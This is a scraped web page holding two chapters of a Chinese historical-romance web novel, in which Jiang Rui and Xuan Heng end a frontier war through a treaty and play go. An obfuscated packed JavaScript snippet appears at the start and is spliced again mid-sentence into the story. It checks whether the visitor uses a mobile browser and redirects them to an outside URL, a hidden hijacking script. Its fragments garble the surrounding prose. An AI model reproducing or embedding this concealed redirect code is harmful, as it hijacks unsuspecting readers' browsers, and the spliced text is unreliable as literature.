0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929977|192789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎。 天予不取，反受其咎。从决意与虎谋皮的那刻起，他就知道再无路可退。 赵盛冷眼看着马大刀痛骂两名叛将，心中亦出了口闷气。 周将军早知郑九州是邓忠心腹，但一直不曾有所动作。同守河西，只要都是为了这片土地上的百姓，该提拔便提拔，该领赏便领赏。对那些投诚来的番人，亦是如此。话又说回来，那些作风恶劣的番人，周将军又几时收编过？ 罗万卿方才说得振振有词，却绝口不提此前他也曾被番军救过。更何况，此次勾连外敌，送出三关，那些受伤死去的将士和百姓，难道也有错了？ 他们倒还不如直接承认自己是为了争名夺利，倒还能让人少看轻几分。 又听了会儿马大刀酣畅淋漓的怒骂，赵盛心情渐好。他同周守成微微颔首，随即提溜着那车夫，默不作声地走了。 营地外，赵盛嫌弃地踢了那车夫一脚：“回去告诉你们首领，他眼光实在太差，找的那两个怂货就等着掉脑袋吧！要谈交易，不如同我们监军好好聊聊。” 车夫朝前踉跄了几步，回头看了他片刻，随即迅速消失在了无边夜色中。 月亮在云后影影绰绰。空中飘来一阵细雨，赵盛莫名打了个哆嗦。他静静站了一会儿，终于转身去寻姜芮。 “姜小姐，人已经放回去了。” 姜芮“嗯”了一声，半晌才又道：“辛苦赵参军了。” 她有些心不在焉，赵盛思忖片刻，郑重开口道：“此番幸得姜小姐和宣大人相助。说来惭愧，枉费前月姜小姐特意提醒，郑九州和罗万卿勾连外敌，我等竟到了出大纰漏时方才察觉。” 姜芮淡淡道：“周将军行事磊落，三关陷落之前，当是没料到他二人竟真会做出此等叛徒行径。他二人兢兢业业数十年，确是有些可惜。” “罗万卿行事缜密，若非寒旄部步步紧逼，让他乱了阵脚，我们也难这么快寻到破绽。周将军雷厉风行，今夜过后，定能重振旗鼓。” 像是知道赵盛接下来想说什么，她垂眸微叹：“我们已将能做的做了。接下来，便看宣大人的本事了。” 话虽如此，她送走赵盛之后，仍站在帐外看着若隐若现的月亮发了会儿呆。 宣珩假意失陷敌营，为的是能同那寒旄部的新首领当面谈判。寒旄部急需粮草，孤注一掷攻打五营庄堡，并非他们的上上之策。既然死守岷关亦非己方的上上之策，那便有些可以谈的地方。 现下五营庄堡加强了守备，暗通款曲的叛将也被擒拿。寒旄部没了底牌，守着那三个小关口，并不能解燃眉之急。 只是…… 姜芮掐了掐手心，不明白自己为什么仍旧心神不定。 现下种种迹象看来，寒旄部的新首领步步为营、行事沉稳，应是个可以谈判的对象。宣公子机敏过人，又招人喜欢，便是姜芮自己去，也未必能比他谈得更好。 既然如此，那她到底有什么不安的？ 15. 凯旋 距离放走那个番人车夫已过五日，岷关阵前的大军仍在僵持。寒旄部不再有大动作，但也迟迟没有传出任何消息。 琴师帐内，赵盛犹豫地问：“姜小姐，谈判或许还在进行。明日反攻掖关，可会反倒激怒对面？” 姜芮手中的那枚白子已被摩挲得格外莹润。她神色如常，语气平静：“周将军可有说此次反攻有几分胜算？” “三关之中，掖关最易夺回。现下军内整肃完毕，士气高涨。地形天气皆有利，明日当能速战速决。” 棋子落入棋盒，发出清脆的声响。姜芮收回手，沉声道：“对面做不了决断，我们就帮他一把。明日，我在此恭候诸位的好消息。” 翌日，果真在日落之前便传来捷报。马大刀神清气爽，领命带兵列阵临关脚下。 当晚，阿竹陪着自家小姐，看她自己同自己下棋下到了三更天。 又过了一日，天气晴朗。午后的阳光闪耀得刺眼，一片沉寂中，传令兵急急来报：“监军大人回来了！” 老将军眉头一松，整个人终于轻快起来。 宣珩面有倦色，带回了一纸和约。寒旄部同意从岷关撤走，送回临关、潜关，以牛羊马匹换过冬粮草。具体交易数量需得细谈，但今夜他们就会从临关撤走，以示诚意。 这和约比之前预想的还更好一些。周守成朗声大笑，将宣珩的肩拍得咔咔作响。宣公子含笑说自己不敢居功，全凭将士们作战英勇，这才让敌军知难而退。 军营中的气氛逐渐欢快起来，不少将士一改对这位文官监军的态度，拉着他称兄道弟。待宣珩净面换衣，精神焕发地去寻姜芮时，夜已渐深。 姜芮早已得了消息，见他进来，便笑吟吟地同他道喜。 桌上仍摆着那夜的棋局。宣珩轻车熟路地在棋盘边坐下，笑得春风拂面：“此番幸不辱命。” 姜芮端详了他片刻，揶揄道：“看来番人也好客，宣公子气色不错。” “那位新首领确实不简单，”宣珩正色道，“他看起来应还不到而立之年，但行事沉稳，颇有大志。” 那日他假意失陷，被俘时难免受伤。那首领不仅着人给他医治，更是在得知他的身份后以礼相待。两边都是聪明人，谈判虽然来回拉锯，但气氛一直不坏。 “我原以为番人多粗鄙，却是狭隘了。” 姜芮微微颔首：“百姓所求不过衣食稳定。若非互市渐渐低迷，河西没什么余粮交易，他们也未必会想过刀头舔血的日子。” 她并非为敌军开脱。只是既然谁都灭不了谁，日子总得想办法过下去。原本互市繁荣时，边境摩擦不断，但没打过什么大仗。如今钱粮吃紧，能靠和约稳定一时也是好的。 然而隐忧仍在。 若不能全国上下整饬吏治、通商惠工，河西的危机还会重演。她不能总把希望寄托在敌军首领通情达理上，毕竟番人中也不乏粗鄙凶残之辈。 思至此，姜芮又去细细打量眼前的人：“你现下伤势如何？不若再让赵参军找个医官来看看。” 宣珩下意识摸了摸右肩，笑道：“都是些磕碰小伤，那番人大夫医术不错，早已好了。倒是方才周将军太高兴，险些把我的肩都拍散了。” 姜芮微眯了眼，半晌才道：“那就好。” 她又问起谈判的细节，叮嘱宣珩这几日莫要松懈。待真正收复失地，确保交易顺利，他们此行才算完成任务，勉强扳回一局。 宣公子一一应了，又拣了些番军帐中的见闻讲给她听。姜小姐的面容半隐在暗中，却能看到嘴角一直噙着笑。 讲到昨日反攻掖关时，姜芮忽的问：“听到掖关失守，那首领可有为难你？” 宣珩一愣，随即苦笑道：“那倒没有。其实在那之前，谈判就已基本达成了。他一直拖着不放，是想要我留下来给他当军师。” 见姜芮挑眉看他，宣珩心念一动，含笑道：“不过我同他说——” “我还有个未婚妻在等我回去，没法留在此地给他当军师。” 姜小姐恰到好处地垂下头，堪堪藏起了那一瞬的怔愣。分明是句平常的托辞，却平白听得她心头一跳。想必是宣公子容貌太盛，方才一笑倾城，她亦是凡夫俗子，不免被晃了神。 抿唇定了定神，姜芮伸手去摸棋盒，语气淡淡：“既回来了，宣公子可想把这一局下完？” 宣珩自然应好。他被困在敌营数日，夜里睡不着时，便会想起那日未完的对局。 这回续局是他先手。并未思忖太久，宣公子便在棋盘上落下黑子。 夜深人静，只有偶尔清脆的落子声。 一局终了，宣珩点了点目，眼底露出不可置信的喜悦。有那么一瞬间，他甚至在心里想：莫不是念着我此次艰险，才故意让我赢一次吧？ 瞧着他那没出息的高兴劲儿，姜芮压了压上扬的唇角，语气嫌弃：“宣公子两次先手，终于胜了半目。如此大胜，怨不得喜形于色。” 宣公子不以为意，欢欢喜喜地应声道：“实不相瞒，我现下比今日拿着和约归来时，还要再喜上一分。” 待他终于将目光从棋局上挪开，一把撞上姜小姐似笑非笑的眼，才后知后觉地涌上些忐忑。 不自在地轻咳了一声，宣珩敛了笑，规规矩矩地站起身来：“夜已深，姜小姐早些歇息。” 姜芮终于轻笑出声，眸光微动：“宣公子倒是性情中人。” 接下来的几日，宣珩忙着和谈的后续事宜，再没时间去寻她。三关尽数收回，岷关前的大军已撤。牛羊粮草的数目经过多轮讨价还价，终于到了两边都没占上便宜的程度，就等着择日交接。 忙碌之余，宣珩想起那夜姜小姐最后的那句话，仍是有些琢磨不透。姜小姐惯会说反话噎人，但那日的神情……应该不是讨厌吧？ 宣二公子恣意风流，如今总算明白什么叫患得患失。 离开岷关前，周守成亲自来见了姜芮一面。此次能迅速止战、收复失地，姜小姐功不可没。老将军言辞恳切，拱手朝这个晚辈致谢。 姜芮躬身回礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929978|192789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，笑称自己不敢居功。随后她敛了眉目，态度谦恭地谈起河西隐忧。 “番人因衣食而来，便可因衣食而去。不能让他们真正融入河西，怕是危机仍会重演。” 周守成颔首应道：“姜小姐所言甚是。此非一人一时之功，幸得令兄调任河西，假以时日，定能有所变化。” 他随即又谈了些军中形势，颇有些意外姜芮对时局了解之深。宣珩在一旁看他目露讶色，不由得嘴角噙笑。 老将军深感长江后浪推前浪，朗声叹道：“二位珠联璧合，实乃本朝之幸。可惜老夫不得擅自离关，否则定要去喝杯喜酒庆贺一番。” 姜芮闻言含笑应答，倒是宣珩露出几分羞赧，不自在地微垂下头。 告别了一众将士，他们回到峄城。监军大人的事迹已经由童谣，传遍了这座河西重镇。 宣二公子名士风流，如今再加上同河西的缘分，引得不少名流显贵纷纷上门求见。百姓们也都好奇地探头张望，口口相传这位智勇双全的监军的绝代姿容。 接待了第五个上门求字的来客后，宣珩颇有些招架不住了。 姜芃在一旁笑得敦厚：“盛情难却。宣大人不吝墨宝，亦是一段佳话。” 他自己仍忙着筹集粮草，准备同寒旄部的交易事宜，自是没什么功夫替宣珩推拒一二。姜芮趁着回程前的这段时间，日日窝在房中替长兄写改进政令的条陈。 横竖没什么要事，宣珩只得挽起袖子给人题字。他笑起来春风拂面，又没什么文人架子，不拘写什么字。于是很快的，城中有名的酒楼客栈都纷纷找上门来。 待到牛羊粮草交易完毕，宣珩终于准备启程回京时，峄城街头已是十步之内便可见到宣大人的字了。 虽说有些疲累，但宣公子心情放松，倒也不觉得是什么负担。今日姜小姐不再埋头研究治术，他从姜芃那里得了信，便抱着棋盘去寻她。 一见了面，姜芮便道：“宣公子近日门庭若市，比在京中时更甚三分。” 宣珩放下棋盘，含笑应道：“姜小姐莫要打趣。只是河西刚经历战事，胡乱写些字让百姓们高兴一下罢了。” 姜芮微眯着眼，语气不辨喜怒：“来了一趟河西，宣公子笔势渐异，倒是与往日不同。” 敛了笑意的美人目光灼灼，直盯着宣珩的右肩。 怔愣了片刻，宣珩苦笑道：“姜小姐慧眼如炬。” 他此前失手被擒时伤了右肩，那番人大夫确实替他医治了。只是才刚愈合些，便被不明就里的周将军连拍几下。 医官亡羊补牢后，虽不影响日常起居，但题写大字时仍会牵扯到筋骨，字形便有了些细微的变化。也就是姜小姐心细如发，又熟悉他的字，换了旁人当是看不出这点区别的。 “医官说并无大碍，休养几月便好了。”宣公子语气轻快，心中甚至有些难以明说的窃喜。 姜芮神色微妙，半晌才不轻不重地“嗯”了一声。 返京前夜的这场棋局，姜小姐执黑先行，只堪堪赢了半目。